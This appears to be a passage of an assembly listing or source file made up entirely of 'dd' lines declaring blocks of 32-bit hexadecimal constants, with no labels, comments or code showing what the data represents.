dd 1A0958BEh, 0D5211E44h, 2AE4DE2Fh, 55A4BE81h, 0AD6F41C1h
dd 61F45957h, 7B12D8E9h, 4FFBBB56h, 0D69E5F8Fh, 31C8BFD0h
dd 30025E21h, 671F69C3h, 9F9284Eh, 81D8BA4Bh, 0A92F6063h
dd 44C87612h, 287BC4A1h, 0ECE9139Dh, 5F5EC4C1h, 0F16046C5h
dd 2B793CBDh, 562C2AE0h, 0D2950372h, 5A088053h, 0D55D25E9h
dd 4D5591FDh, 81DED03Bh, 5B1DEEF2h, 0C2813DC4h, 0DC160155h
dd 0AED6123Eh, 0D4E7B01Ch, 0E04BE268h, 0C1A6A457h, 5D8BD0BEh
dd 121CBB53h, 0E1EFC016h, 0C728193Bh, 8FCB8101h, 0EC29C501h
dd 0E59D337Fh, 3E680408h, 31CCCD74h, 0AAA7CAD7h, 2956F2E2h
dd 26EA4757h, 951255Ah, 4134716Bh, 7B8EA6E9h, 742F6C3Ch
dd 5020062h, 6FB138B9h, 55730F0Dh, 35D8D0C0h, 5B222015h
dd 0A164EE8Ch, 0B04E7FEh, 669A3BE9h, 8063FA5Bh, 0DF4B895Dh
dd 44E86E6h, 0AA71B53Fh, 938425BDh, 658C16E7h, 3853012Bh
dd 5B840561h, 7A86F48h, 39C06027h, 20A01CBFh, 4C9D8919h
dd 6E4E2D19h, 0A132177h, 0B3211870h, 2DE57520h, 20DFF7CBh
dd 0CA74BECDh, 98E91766h, 7A41F564h, 0B248EFF9h, 0AA37575Fh
dd 41A04F40h, 38686E17h, 27422E38h, 6A5D8150h, 0B36C31F5h
dd 819CF05Fh, 14B07F3h, 59F610F2h, 40F4E16Bh, 0A554BFEh
dd 2B93F255h, 0E9E828FEh, 0B6A683F0h, 0E9307195h, 0E26DD155h
dd 3ADF22E8h, 999CFD98h, 3849E913h, 0B21629F3h, 0B47CB846h
dd 6689FEFDh, 8D438256h, 0ACAE4B6Dh, 9706D068h, 78ED23BBh
dd 0CA812B01h, 1AEA55F3h, 4C4CB2Fh, 7B100B49h, 5D0A69C2h
dd 66130E45h, 7EBD7453h, 7E8BB127h, 6E0701FCh, 0C45F4179h
dd 63D8A6D9h, 0EE3912FAh, 0AE82BF72h, 0B0EC494Bh, 0B8E9003Fh
dd 34DE0B98h, 7E0C100h, 0E2527A25h, 5B350F58h, 0F157C217h
dd 47C06E13h, 0FB55A68h, 83E28175h, 807DA844h, 0D9F263DDh
dd 53E4FD5Bh, 0D77A80CBh, 9E51F1B5h, 57CC4B92h, 60DD9255h
dd 2EFD4669h, 1AB1EDA7h, 9BC15C56h, 0B0212EEBh, 2EAAF043h
dd 0B0044B93h, 6C9F5AD7h, 0EEB95845h, 0EF008694h, 1741045h
dd 0B85150CEh, 0EA0CAD08h, 0D460DFCFh, 55598168h, 943A84BAh
dd 0C8030409h, 0B2A72CD8h, 0CE7F7E62h, 0F56815F0h, 1612D27Bh
dd 7B0B299Eh, 4238F6CAh, 11B47DA1h, 0F32782FDh, 0E5BD74E6h
dd 5EEA62CCh, 0E8AF3104h, 554BDF59h, 90D52D1h, 6DF90960h
dd 8DDE9F5h, 0F9F74A21h, 9C824FFAh, 0F0D43C77h, 3757057h
dd 0DE18A2F6h, 0E3A465Bh, 2B5187B0h, 36B4684Eh, 406C31EAh
dd 0E3280195h, 168692Bh, 3A71D287h, 78880981h, 1C5D783h
dd 4DC3697Fh, 5F8F0E04h, 2CC37363h, 2759C864h, 6F79092Dh
dd 32277B5h, 8BFC42DFh, 0DF1A896Bh, 3C9CCF81h, 0D19D60AAh
dd 5F507041h, 4E8F31C2h, 0D9A3E17Eh, 0A59D01CAh, 3005F566h
dd 0C01FC221h, 0E9424AB9h, 803A1D58h, 23084C1h, 0C4A89775h
dd 0B0082A08h, 0C7504BAEh, 5E02691Ch, 275DB42Ah, 6FF240A9h
dd 809F566Bh, 260E0D06h, 250954A4h, 271D0972h, 4B8702C5h
dd 56970B0h, 22590B16h, 5B3A8915h, 0AF6702D7h, 32EE7562h
dd 0D51DC2B5h, 3671BE8Bh, 941A0B2Dh, 92595B4Dh, 0B070988Ah
dd 800EB601h, 0B72CE8EEh, 5392B03Eh, 78446814h, 0C5B6CF96h
dd 36E8F388h, 20DE66A2h, 0E9805703h, 765992FCh, 2D211E9Ah
dd 0BB0A3075h, 0AD489515h, 0CCB1AA1h, 56B3F65Fh, 48F4E927h
dd 1EDAC32Ch, 0C93CA826h, 5030949Fh, 5F82E7ADh, 1363F0E8h
dd 5F41AF17h, 9CE93621h, 0D14A2C33h, 0C28C10B9h, 0AC0CC5FDh
dd 0CF470A6Eh, 86F381A9h, 7A462A36h, 26DF89A4h, 678D3Fh
dd 69AE9AEBh, 68B553D5h, 58D17963h, 0F728DB4Ah, 0E95B3807h
dd 0B170A9B1h, 0ECA030ACh, 1DC78080h, 57CF28A4h, 3EC0A8EFh
dd 4F68C0EBh, 4E3CFA47h, 12DBB05Eh, 0BBBB8CE9h, 0BE089E25h
dd 0BE281383h, 7F104D8Bh, 0D1045AFDh, 23AD7068h, 0AA780B12h
dd 14C8A6B3h, 82555A09h, 5C4A82F3h, 0C0AD8EEBh, 0F5C0086Eh
dd 59EB8832h, 0F91DF3F8h, 892DE950h, 99487F23h, 472838B5h
dd 0CF01D757h, 4A70E661h, 81BEC5E9h, 72D4F103h, 64DFF54Bh
dd 1B44AB82h, 0BB006C05h, 64CC233Eh, 0AF5FF7F4h, 0E6013D0h
dd 21DE9F9Eh, 0A34A82BCh, 0E029A9A5h, 4C4B686Ah, 7CD4C34Ch
dd 5E04AA03h, 0E9F05B3Bh, 8CB9900Ch, 5A7958A5h, 3AE9CDA0h
dd 7684CBE8h, 0B5FC1669h, 0B50A8120h, 0A2E5283Eh, 0D048529Fh
dd 8141003Ah, 4E2738E1h, 6796C48h, 0C07135F2h, 59FB02AAh
dd 0CD0136B2h, 8447560h, 745F6F27h, 2A47247Fh, 54685B9Fh
dd 0B02062CAh, 0E87240B5h, 8840828Eh, 583D6A87h, 843B9626h
dd 17D6C0E4h, 0FF1B78FAh, 0B16BEF05h, 0C06746AEh, 5F0254E3h
dd 6D605505h, 0FA5E554Ch, 16450350h, 962D4133h, 0E5046E25h
dd 2976F011h, 55DF0AFh, 0C1E90AA0h, 84CEF64Ah, 2FCCA24Bh
dd 0DD9177D4h, 6CB87ADAh, 205EA5C7h, 23840514h, 0B4CD5872h
dd 3EECDB9Eh, 0B970010Fh, 125B6850h, 29A375Eh, 3DE9C229h
dd 0B15A4B53h, 80208812h, 98C0E6FEh, 2F6C90D8h, 0AAFA5AB2h
dd 12C0F674h, 69C28054h, 8EA04C0h, 0E430DEE9h, 0F616C3BBh
dd 9FACC9Fh, 52DB5975h, 0DA900D09h, 49252094h, 0C8BF0F13h
dd 2ABF9F84h, 10844906h, 0A84F32C5h, 0DD257892h, 81B732Fh
dd 1492464Eh, 202E2DBAh, 5061302Bh, 6E2C012h, 943D6D20h
dd 83680448h, 5834DA7Eh, 0E7BD6A7Fh, 0FEA8E209h, 52FD426Ch
dd 0B5315E03h, 648EE721h, 92AE416Eh, 7E2C3D42h, 0C9024AF8h
dd 1BDF5A1Eh, 2264B600h, 4BA4EA7Bh, 0D266FC9Ch, 23089906h
dd 67C23183h, 59E3881Eh, 3E7238ECh, 4E8A58D8h, 0F23B44A1h
dd 0FA079B59h, 0DB2261E7h, 0E189857Bh, 0A6CE2B1Bh, 0C113094Bh
dd 0C4B9A5A0h, 6E5A852Ch, 422EB2A1h, 4BE9C574h, 551C35FCh
dd 0B8AC04D6h, 278B649Fh
dd 57431277h, 16A8EB70h, 0DE956856h, 95E13F9h, 0C02A7663h
dd 8E6A03A8h, 0A209141Bh, 60D650F2h, 256123B8h, 62F77D90h
dd 0C080DAEh, 575A1401h, 3D674664h, 4FCC8E6Fh, 0E070ED58h
dd 5BD91631h, 0CCD51E83h, 0EAFF45B7h, 0E160A41Ch, 5136D0ADh
dd 0A51D08C2h, 8345DF2h, 0F81420FBh, 6B4FFA98h, 0E330C7DDh
dd 3E0C2FAFh, 9657FD86h, 0EC5D8540h, 9FE4B229h, 0DBEBB507h
dd 0FFBA8084h, 5C2957D8h, 442639D3h, 6CDE6920h, 327BD75Ah
dd 445EEB96h, 912A284h, 0B8F74780h, 4BC83B3Fh, 1B64E700h
dd 0DAE9607Eh, 62F72A4Bh, 0BA826626h, 39AEBB01h, 6BA623E9h
dd 6526F740h, 955D10D1h, 0BD204F52h, 0FD514B8Dh, 0A3BAD2B5h
dd 96EDD320h, 3F24EED2h, 3C7BB0ABh, 7C70712Ch, 176E600Eh
dd 4C3966EAh, 0F25E781Eh, 0EC0C0EAEh, 4021FF8Eh, 0B84A5066h
dd 0A4E8E494h, 0CB044448h, 0AADF15DCh, 0F3C1580h, 0E9140C57h
dd 5A401F5Eh, 0BD68663Bh, 15EA347Dh, 0EB04D8EEh, 807AB546h
dd 7CB7F8BAh, 812DBCC3h, 8AB84F00h, 1902C902h, 4408BD05h
dd 5ED2624Fh, 66DA5B95h, 0E94D9880h, 599ABD7Bh, 4C23142Ch
dd 0DC78C7CFh, 0D0BB0924h, 16278CDCh, 36F8544Eh, 552C3750h
dd 0C3041AB8h, 16973CE6h, 86589851h, 12A3A04Ah, 6DD552DAh
dd 5C96224Ah, 5A851C30h, 1632BF65h, 4CBF0C0h, 23D5EBAh
dd 38D8C762h, 51BD5500h, 0A2681A37h, 5C4BF5E4h, 0D449FAB8h
dd 54975871h, 3540807Dh, 2B9A5CBAh, 323956EAh, 39C5CCE4h
dd 6904FE5Eh, 0B2E9CB29h, 5A5947E0h, 0EC0B8266h, 39B873D5h
dd 1C5AC12Dh, 884515Bh, 0A175EDAEh, 3082EDE5h, 0FE88FAB7h
dd 6B04E261h, 0DFEF0312h, 0B23D4C04h, 0DE1C7D58h, 8023A52Ch
dd 0F56851C0h, 251FCC7Fh, 0F1078187h, 0F6ACBA20h, 87FCA1B5h
dd 60282350h, 80E7A9B1h, 0F61D07C7h, 8DBC0D7h, 9BF7D00Ah
dd 0FDA358B2h, 0E37DF525h, 0ED67ADB3h, 16C32715h, 18C0A52Ch
dd 0BD585450h, 55256B65h, 0A9E98398h, 2620F49h, 7794746Ch
dd 5DEA058h, 0B010D71Ch, 74CDA21Ah, 0B8120B69h, 0F60241Ah
dd 305C2FFCh, 481F1C81h, 46E25A38h, 0E4D0CAA2h, 93CD293Bh
dd 0C9FC8567h, 30D6F7F1h, 2124DF9Dh, 0D2123A62h, 74FA56C5h
dd 0B550AC97h, 0D210B4A6h, 0CE05E6Ch, 990C0F05h, 0C60A5E49h
dd 0E5E91E07h, 0EF5CE104h, 12B1961h, 0BCADB2Ah, 0FE97E954h
dd 1C77271Ah, 0F7BDAAA3h, 9B88C959h, 52AC0B63h, 5F92F5h
dd 0B47F0EDDh, 0B1E9044h, 60233C67h, 6E985A80h, 50BD5CEFh
dd 1666E4BBh, 0A865506Ah, 0B62E6481h, 0F11B3D83h, 95222C11h
dd 82578D04h, 286CCF31h, 0CA040601h, 25E12EFCh, 0B7607A01h
dd 1324807Eh, 5614D568h, 174617BEh, 0A7170470h, 35581DCAh
dd 0CBF231CDh, 2A58941Ah, 5A05F1BDh, 0AA5BD45Fh, 78E520F8h
dd 711C6827h, 2B1BEFCh, 0F8F68167h, 717E620Ch, 3C2FF37Dh
dd 482651CBh, 0EBC1258Bh, 64B241ADh, 0F6878018h, 2E3C7FCCh
dd 0FEF75001h, 0B2688089h, 46657C01h, 8E6C15Eh, 3DE6816Ah
dd 6A219713h, 0FEFC94EEh, 3FF09D77h, 20E97750h, 591E323Eh
dd 6216D6F6h, 485DFB49h, 0C777D94Fh, 0B593C53h, 928CE75Fh
dd 0F8E9C45Bh, 0AA20848Ch, 0C67540BFh, 9316E2Bh, 6A330CC0h
dd 5B29A0F2h, 8EE3ECF1h, 78D6C448h, 0A05A66B2h, 65404658h
dd 34F50081h, 6810CA3Eh, 6D9E2E7Bh, 38E0263h, 5AEF7AABh
dd 0BDD958DCh, 28083382h, 3178D55h, 0A30D51D8h, 972FF15Ah
dd 10E636F2h, 2C6FBD07h, 0B4A213F4h, 0C5CEAE93h, 62C8F8FEh
dd 48767E38h, 2C058509h, 0FA0F9531h, 7B9DCE81h, 0BB0227BBh
dd 5E32130Ah, 97DAED82h, 8CEF2C69h, 0DB740E80h, 6250231h
dd 58592DECh, 2BE830D7h, 6DBCF0Eh, 0A3E46016h, 40C06E1Eh
dd 0A068B7C3h, 0B1899730h, 0B898FC04h, 255FC1CDh, 6A702E02h
dd 1B260022h, 667E3517h, 4095073Ah, 3EA816Ah, 75980E7Ch
dd 0BAC7CA29h, 5C1C3008h, 104B2140h, 0B722B693h, 72FA170Eh
dd 41F02116h, 2EA094Ch, 50D7F797h, 93715157h, 901EAE5Fh
dd 0DD8192F4h, 0F4D00E9Fh, 8C56B7F5h, 51798F79h, 1EE3CB25h
dd 725D29FFh, 0A1B981AAh, 98D13F79h, 0B7535100h, 75E78010h
dd 270F5CB0h, 275BFD88h, 0CDC2E9F5h, 90E35DA2h, 0FE04060Ch
dd 27DE1CC5h, 945DEB88h, 2DE32D56h, 50D6F102h, 98FC5ADDh
dd 0AC8D325Eh, 10FD010Ch, 0A86FBF2Ch, 1698E7F9h, 0D35D94Eh
dd 6E2B9CFCh, 17401AF4h, 0AD2F9516h, 19220606h, 0C1486h
dd 92B71EE4h, 0A869E953h, 5DEA3BC5h, 7C6419FEh, 0B3F7CE9Bh
dd 5DF3EAA8h, 2620F116h, 4B6D9086h, 4B60A9D8h, 7CF218A0h
dd 44012D54h, 580D1BD7h, 8620BA18h, 5BA85D4Eh, 2CBD160Bh
dd 8712877h, 25FA1C30h, 825D48DEh, 0B21AE717h, 0E1247874h
dd 8CB8BA88h, 1A234832h, 6FE8FA08h, 0C0A12A79h, 0E860D41Ah
dd 14C05F53h, 0C42D8EBAh, 69439010h, 5ED0E351h, 2D81DA97h
dd 3159565Fh, 0FB3C5E10h, 907572Eh, 0D3209FC1h, 141DE6F5h
dd 0B8034Fh, 0D38B136Fh, 59DD41F7h, 0F86FD035h, 0EA56F274h
dd 0B241F5DDh, 0C4A9E02Ch, 2C33EEC8h, 5FF6082Bh, 0B530AC0Ah
dd 24D6809h, 7D6DF3D5h, 3BCACDA7h, 0AC67C8FDh, 529B2808h
dd 0E3E916EBh, 0D24E903Dh, 0FAF1C97Dh, 0CC1DE9F0h, 89963F35h
dd 0A76FBB1Dh, 0B775E64Bh, 31682BE0h, 0DEB13538h, 27BD3EA5h
dd 169984C4h, 182E3A40h, 4F5B5FBEh, 0E93FB405h, 5BD5B52Dh
dd 5970B1Ch, 0E469B37Eh, 3F1325E6h, 0F4557F92h, 85719509h
dd 18507550h, 0C330301h, 783C6E45h, 9FF1A609h, 0CD00820h
dd 60FF4A14h, 0D3397D49h, 30B8217Fh, 0C7AD5D4Ah, 0DAC27A89h
dd 6DF3DE96h, 0F713105Ah, 98665125h, 0EF317897h, 0E1D82FAFh
dd 692CD19Dh, 0A593E77Fh, 5866C660h, 2D170B1Fh, 1BBE3C82h
dd 3F615040h, 22CEB568h, 0F66157C3h, 0BA8C6AC3h, 5E0E26C5h
dd 0E5BF3ACDh, 0BA39D09Dh, 0E1033D85h, 5190AA14h, 0EFAFA36Eh
dd 45F1936Bh, 0B4B81A73h, 0B9020094h, 64F0395Ah, 16B3FA2Ah
dd 840DA962h, 0A1BEC537h, 1EA73BDEh, 181D6950h, 0BB30736Ah
dd 222F6B05h, 8D8A74FAh, 403A7EE7h, 267B33B8h, 0B036124Ch
dd 2C06EEC1h, 0C8DD2368h, 5DCD09C1h, 329EEE74h, 0D2BB6116h
dd 5E092CF8h, 1D5346FAh, 8880285Fh, 0B7C05BB2h, 959A3D85h
dd 0DAE5FBE8h, 0BA6143E8h, 5AD327FAh, 0AFF687D0h, 0E5955262h
dd 0E099AB08h, 25300FBAh, 0AF404F51h, 20B9846Dh, 9242D8ACh
dd 4287F678h, 265A6C59h, 16528B02h, 60F9015Ah, 0E11F4E33h
dd 0B938AE2Bh, 88AA5A73h, 84315C85h, 5DE1E4C8h, 0FBE02902h
dd 0B380A95Eh, 0DA083078h, 0F606EAF0h, 20166AEDh, 795D08h
dd 0B82AA70Dh, 0CD00050Eh, 357CF92Ch, 9B1CBA8h, 8533E91Bh
dd 77E97945h, 0E98B98DBh, 0A47AF82Fh, 16085986h, 28491774h
dd 0C79904D6h, 0DD34BAB4h, 0E5017DD1h, 0C90FAC3Eh, 31CEA0EAh
dd 0A4415A0Ah, 74DF20AFh, 80495825h, 95A04B17h, 5BC84889h
dd 83BE5B2Ch, 0C6FEFCEEh, 6300A30h, 97F0283Ch, 88BEB0F5h
dd 820E9E99h, 458A7230h, 6FD8AE57h, 2E8824FCh, 48C09B8h
dd 35124218h, 0AAE25ADh, 84F508Dh, 6C2686DBh, 0A533D42Fh
dd 0A3EFC222h, 0AEEC7A7Ch, 129799CBh, 84CAF756h, 0B0076B94h
dd 0F6E1E009h, 0EA980CD8h, 5D807032h, 0ECC8D7EDh, 7FACD01h
dd 0CCAA9C4Ah, 1E5E6507h, 99451AE4h, 0D7298A88h, 804FC58Fh
dd 6130128Ah, 4CC12F35h
dd 1B9002FAh, 0B40369Ch, 6301E4A3h, 0E9F929C9h, 0DD6A90CBh
dd 3BCB6134h, 0B3537400h, 32B652B0h, 0F3085110h, 32A48175h
dd 9F3CEE28h, 0C03F0C74h, 110C07E6h, 870B8FB7h, 0D6CB46E1h
dd 647B0972h, 46315957h, 0A500B255h, 496CC81Ah, 0BC5C1FE9h
dd 0B52488B8h, 81E28005h, 3018F7C0h, 0BA5B4AFAh, 50660CC0h
dd 33EAC6B4h, 219F3891h, 0E5137815h, 9F89097Eh, 6B890DFCh
dd 6200D460h, 10205D6h, 0B08F80CFh, 9D33ED22h, 92095970h
dd 5777C203h, 30084F28h, 2412CE1Ch, 0B6184667h, 7F0652A2h
dd 0ADEFB538h, 13EFE697h, 396419DEh, 27F6D8A6h, 81E0BF5Bh
dd 0F8DA62F0h, 7CD4E188h, 0B1ABBA93h, 0C4AD6B6Fh, 6373B8C3h
dd 0FBE92698h, 0C4A3414Ah, 0A3342079h, 3A1F48A1h, 700B812h
dd 361C63EBh, 0F40CC117h, 7E40ED6Ch, 531B587h, 0EA9F3D45h
dd 0C38A8B0Ch, 0C457FDC2h, 1135050Ch, 0EE5E2A7Ah, 0B0BF5124h
dd 0A454E94Fh, 883951F9h, 25EB26E5h, 2900E62Eh, 93C281F2h
dd 2B1D3E2Ah, 0FC42B9A7h, 0DD703AFDh, 55EAD4CAh, 90E4CADDh
dd 0BC83E555h, 85064FB6h, 0D100EC8Fh, 0FC23BEAh, 0BA077384h
dd 6D662F98h, 0B089C679h, 27ABC540h, 98C2D2DCh, 37D0952h
dd 0F96E1B7Ch, 0B82A2912h, 5E74C2FFh, 9FC1DF13h, 0BE56004Eh
dd 51DB74B9h, 2BEC8D7Dh, 0B6235024h, 0B270B7CDh, 81F32926h
dd 0E3E93413h, 0BCD20FD3h, 0BCD2708Fh, 0A863105Bh, 0BBE3850h
dd 5A0F4B76h, 2AF6F8B9h, 21BD5600h, 262C9439h, 0CF11D529h
dd 0EA5DE884h, 0A85265E4h, 16AFB9C9h, 0BC30C377h, 0A75D3E24h
dd 34DCFE54h, 44ACEA20h, 0E099EBB4h, 2277183Bh, 12147F05h
dd 4FD17B6Fh, 1EBE2BC0h, 0F820F56h, 0D385F031h, 0FEF94E95h
dd 0AE2996E4h, 6B8CA7CCh, 0C8C01FADh, 2B285F69h, 0ED09C271h
dd 0AB7A1C0Fh, 2099E4FAh, 68EC1BACh, 4A134538h, 2AFD29AFh
dd 32125BE2h, 0D62AACECh, 0F4A5D4B8h, 0F1975DC8h, 0BB53708Dh
dd 7C01F50Bh, 0BFCF7A11h, 4B3B92D9h, 958B9DCh, 47736855h
dd 5DE54059h, 7BACAC84h, 59BD2C75h, 97F28156h, 7F47EC41h
dd 0B8403C5Eh, 296F7D5Ch, 2E51B5D1h, 79E12C97h, 7905A379h
dd 1C8D76h, 0F334AFA6h, 0E95C017Eh, 3FCB3A02h, 0EEE3E009h
dd 76D0699Bh, 86C60020h, 5A57ED4Ch, 4749684Eh, 15BA80A6h
dd 9FDDA36Ch, 2914D267h, 8A0813FAh, 0F148E3E2h, 90DFED27h
dd 0CB5153AEh, 72181A14h, 0F0728850h, 39E9C0B5h, 0EC3BBAB6h
dd 0D3AD4BF5h, 0E88288C3h, 9655CAC9h, 74B9F11Eh, 67FC9F7Ah
dd 68C710F2h, 0F6424A7Eh, 649C2710h, 4AE8986Bh, 83E8235Fh
dd 0F1B7067Fh, 6E01C06Eh, 0E91038C7h, 0BD1A78F4h, 0D2FF2110h
dd 775C97EAh, 20015969h, 0CF30228Fh, 3E0579Ah, 0BC555380h
dd 3EE169C7h, 682C81F4h, 86E510Fh, 0FAE94B5Ch, 0B626CFC6h
dd 83DEF6A5h, 0A4006DCh, 0F78028BCh, 3B82BFD5h, 7655F2C7h
dd 16D7691Fh, 0E813D2DDh, 0E5FEB43Fh, 5AAE2A6Eh, 0A2E30C45h
dd 16F75C82h, 0A73396CAh, 5A5881F6h, 0CB6A31E9h, 2319E2EBh
dd 221E50D7h, 0F2171741h, 487FAB83h, 0A85B672Ch, 2BE9B043h
dd 475EB778h, 0DC108843h, 4C7C28C3h, 0EB924669h, 1101614Ch
dd 0B88E27E9h, 0C84ACF48h, 85686BC0h, 900D966Ah, 0D0D49F84h
dd 49C5E9F0h, 30090F58h, 0A207A139h, 1691C3EEh, 0EF7F0987h
dd 0BE31A4BFh, 5A5168A0h, 2AF2E1E1h, 5F330609h, 1C9BD514h
dd 74B52D96h, 1F89CCD0h, 3E09993Ah, 0C01ADEA7h, 0D30CFD76h
dd 1EE28D44h, 0F00E1308h, 4E1FA898h, 0CBA87D4Fh, 592ABF06h
dd 830CBE6Bh, 184C6424h, 71D812EEh, 91F2FA3Eh, 0C862A45Eh
dd 85F32F4Ah, 88949B13h, 0BA796661h, 53767174h, 124BBB1Eh
dd 1377AB1h, 9FC20A87h, 1B01EB21h, 8B5DAAE9h, 0E55AF4E3h
dd 0E68809A1h, 70E92FA3h, 3B05E94Eh, 0F4BC634Ah, 8D09FB96h
dd 0B5056E58h, 5FC2E71Eh, 0F2378DE9h, 0E83041B6h, 0FBB56444h
dd 4B763D38h, 6F36A7BDh, 686EC907h, 0E48CEE13h, 0E43AF388h
dd 7040C01Dh, 3C1014BFh, 0C7028196h, 0E43827B4h, 3B136775h
dd 0CD5EED01h, 7001F851h, 0E15F69CAh, 640729EFh, 3F5BA191h
dd 0BFDD7DCCh, 64F527Eh, 0E5971DFh, 0FB3C67C5h, 60060C78h
dd 0E96F7F09h, 5A21F7D2h, 28535BDEh, 0A79C0F2Fh, 84D7E5AAh
dd 29A1D9F8h, 3E163591h, 42C938E1h, 62DEAAA7h, 448124BEh
dd 18FA2A04h, 6271669Ch, 875F0AA1h, 0D2CF165h, 0E621440Bh
dd 0B8D620EFh, 168FBA0Ah, 0D305B06Ah, 9080565Ah, 4BE02364h
dd 724AAC25h, 0BC3EC414h, 9AC824CDh, 0B1516683h, 0AE0FC932h
dd 0FE291289h, 0CCA021C8h, 0FCBB14C0h, 4A77D842h, 0E690EF43h
dd 0EC504F9Ah, 39E02FE9h, 412DD8F2h, 6C391846h, 49924C6Fh
dd 0BB77510h, 303F1168h, 74236BFh, 0EA831BDDh, 514A60FFh
dd 0F14DAB9h, 7977D73h, 7A75BF74h, 2CE8E454h, 8F3525Bh
dd 622F7D15h, 510A7E9Ah, 0BA882A5Ah, 2129404Ah, 4926F977h
dd 93A58193h, 0AA6244D5h, 5AD02F21h, 0B58BC5DEh, 46C4DFB4h
dd 4B0DC949h, 0DA91DCA2h, 8340665Ah, 9F4F8298h, 57E181EDh
dd 0BCAF0479h, 13151C6Ch, 0C9193C21h, 6A882B58h, 57E23712h
dd 7BD72189h, 0A03012E8h, 80B55C26h, 2E2283C6h, 6544900Ah
dd 0C9EE8759h, 62986192h, 0D601029Eh, 0F6FB55E9h, 7B486276h
dd 7BFD6E6Ah, 18DF2724h, 825D392Eh, 0F13F7440h, 1FBE60Ah
dd 0F31324D5h, 3FF8BBC4h, 3C39EF4Eh, 4BB7FD83h, 0FC93E730h
dd 10E9080Bh, 5B25937h, 3406C368h, 9EF78396h, 665BA903h
dd 3C06E7C1h, 0F7130709h, 0CF3B04DFh, 1D0E82BBh, 705F814Ah
dd 487B00CEh, 55E163Fh, 40FE67BFh, 7F4A8A90h, 50FDFDD0h
dd 0DE6863AFh, 0E9B27EFBh, 94FDC04Ah, 4A21BC76h, 652108E4h
dd 5DC83C93h, 379684h, 0D96B6EBBh, 0CB048151h, 329D5299h
dd 1284EDAEh, 0F5FA78B4h, 4F7E22CAh, 0E9B86CABh, 0C870C12Eh
dd 2D26CC4h, 0AFCAF705h, 5792B651h, 9CF9E3FAh, 2656D81Fh
dd 82CA2D06h, 0FC882544h, 447416A2h, 983F81EDh, 0B591525Ch
dd 7D1CB753h, 73639180h, 48D1CC9Fh, 0F14B6455h, 0F3D87F9Bh
dd 8E4000EEh, 0E9F1313Bh, 77C992D5h, 848C65C2h, 0AC276B68h
dd 4A08C05Dh, 62BD7660h, 0DD310B0Ch, 0CE976C4Eh, 5CF140E9h
dd 47096814h, 0B58FD255h, 65986809h, 6A5ED146h, 25CB91C5h
dd 1A21610h, 7D20BBB8h, 5A60966Fh, 885EA82Ah, 4CFAE4C7h
dd 825B625Bh, 18FD509Dh, 12C46822h, 0EE7F4C13h, 0F22FC1F5h
dd 75F0F104h, 1A605A02h, 0B9163961h, 90BE2177h, 7D9C68F6h
dd 20B2A49Dh, 0D2DE6BF9h, 0FED25362h, 0B23F9A29h, 1DE80777h
dd 0C5945476h, 21D0CBC4h, 27D6BFh, 0F7814DDCh, 1E4447BEh
dd 0B9056A90h, 150C837h, 0A847D0EEh, 0D8D757AFh, 901413EBh
dd 495D43E9h, 10BF2F4Eh, 56040858h, 0FE50FFE9h, 0B46E4989h
dd 6405473h, 249A2468h, 7DF0C21Bh, 0E951AC98h, 5B208A59h
dd 68FA36AAh, 302439E4h, 0C18B37Ch, 312EBA36h, 0CB7A381Dh
dd 1D0225Fh, 1C447D36h, 95E3C701h, 0F8C0081Bh, 5F2851A1h
dd 0F540EE0Ch, 0F26B6F16h, 931C2AE9h, 40230F94h, 37456863h
dd 47C5924Ch, 0A0D7786Ah, 26A9BB51h, 6271B5C0h, 0F4803827h
dd 0BD6BB7E2h, 0D9FF34F2h, 0A5F3E011h, 4D4D99E9h, 26F829DEh
dd 6791923Eh, 8DC5DAB8h, 0E7D8EADCh, 7569390Dh, 40C9BDDBh
dd 47F05D08h, 0D6547F4Ch, 0DE1E317h, 0D2A4566Dh, 47F75516h
dd 0B0C8ADDBh, 0D8AAFC41h
dd 0DF69F43h, 0EC603151h, 51BC25DBh, 0CF84EA65h, 9E6457B9h
dd 516CB0B2h, 0E4201AB0h, 9B63A0A5h, 37C20109h, 19F80540h
dd 0A3D283F2h, 0D038206Eh, 4AACD0A9h, 4CCCB857h, 0F80804B8h
dd 0E5AF84BCh, 0E6B305A6h, 7ED5D383h, 8E044384h, 29BB52E4h
dd 21BC08B0h, 19E4304Eh, 45FC09C3h, 5578CDF7h, 12A60509h
dd 1B480262h, 22E127A3h, 0CD5E3251h, 42246902h, 7FE3DD7Fh
dd 0A942FE9Dh, 9A0A19E9h, 0F9F97D94h, 1CD64427h, 6DFF50C5h
dd 0A246F6B2h, 0A6AF734h, 1F74CBFDh, 4D251005h, 7B3A75E3h
dd 22BF09D0h, 0F0B44AB9h, 0CAA34A8Eh, 98ACA4F8h, 0E9121DB8h
dd 0F4FA79A9h, 0C2B5B903h, 0C24A761Fh, 0E3FC134Bh, 41ECE9D0h
dd 0D6533008h, 2643BBBCh, 0BA4C0377h, 3A1B4DCBh, 3BB246D1h
dd 66011990h, 79B30E53h, 5BC9DC30h, 46A43CFCh, 10EB8005h
dd 0AFC8B84h, 8227A34Fh, 0E4913FE9h, 0F59D0FC4h, 2F668743h
dd 0C3631731h, 0EC4BD49Ah, 0C8AE5EC4h, 5BC7030Ch, 11D5C821h
dd 872D47B8h, 0FA473BDDh, 5594AB78h, 9258D67h, 770189CFh
dd 0CA0D14CEh, 0F9F6B4E9h, 6A724DDh, 1165F602h, 3882075Eh
dd 0E3B22A45h, 1794E91Bh, 0FC6D417Ah, 6A35AE43h, 0C85C89E8h
dd 22DE3898h, 0BAF645FAh, 3CB5FEB2h, 58D5C9B3h, 245E73DDh
dd 0ADB32627h, 0A30914F8h, 756B73D2h, 0AABB5AC0h, 209F082h
dd 0F372AE2Dh, 40C25547h, 0D9221644h, 2329A07Fh, 0E2A19C10h
dd 4D7D829h, 0B5F3AD63h, 0FC4D4E05h, 8874BE6Eh, 0DB00C19h
dd 0C03F3BC0h, 252F081Dh, 294A74F6h, 0C0464D9h, 0EC491ACCh
dd 0A4BE5B17h, 2113D14Ch, 3EEC634Fh, 20B9371Eh, 0EAE927h
dd 8ECE2D26h, 0C55EC12Eh, 68EF8958h, 75C1B2FAh, 0AFF89C6Ah
dd 0D9B15730h, 3EDD7AF1h, 0CFA626D0h, 0DB801418h, 2B203081h
dd 37FD3B22h, 0FA7E4A02h, 0B8D709C8h, 955AF5A3h, 6082FFFh
dd 0F17D61D3h, 0A7D8E41h, 8915BC6Ah, 0D04E60EDh, 96F1EFEEh
dd 91E73F94h, 5D3FC71Ch, 0CF47DD41h, 646420CFh, 0A2A4AA5Ah
dd 206C107h, 76667DE9h, 600A00F9h, 0AEB876E7h, 38562C4Dh
dd 0C9C6169Eh, 71D301E7h, 0A7017B11h, 5455DEEAh, 5892E9C4h
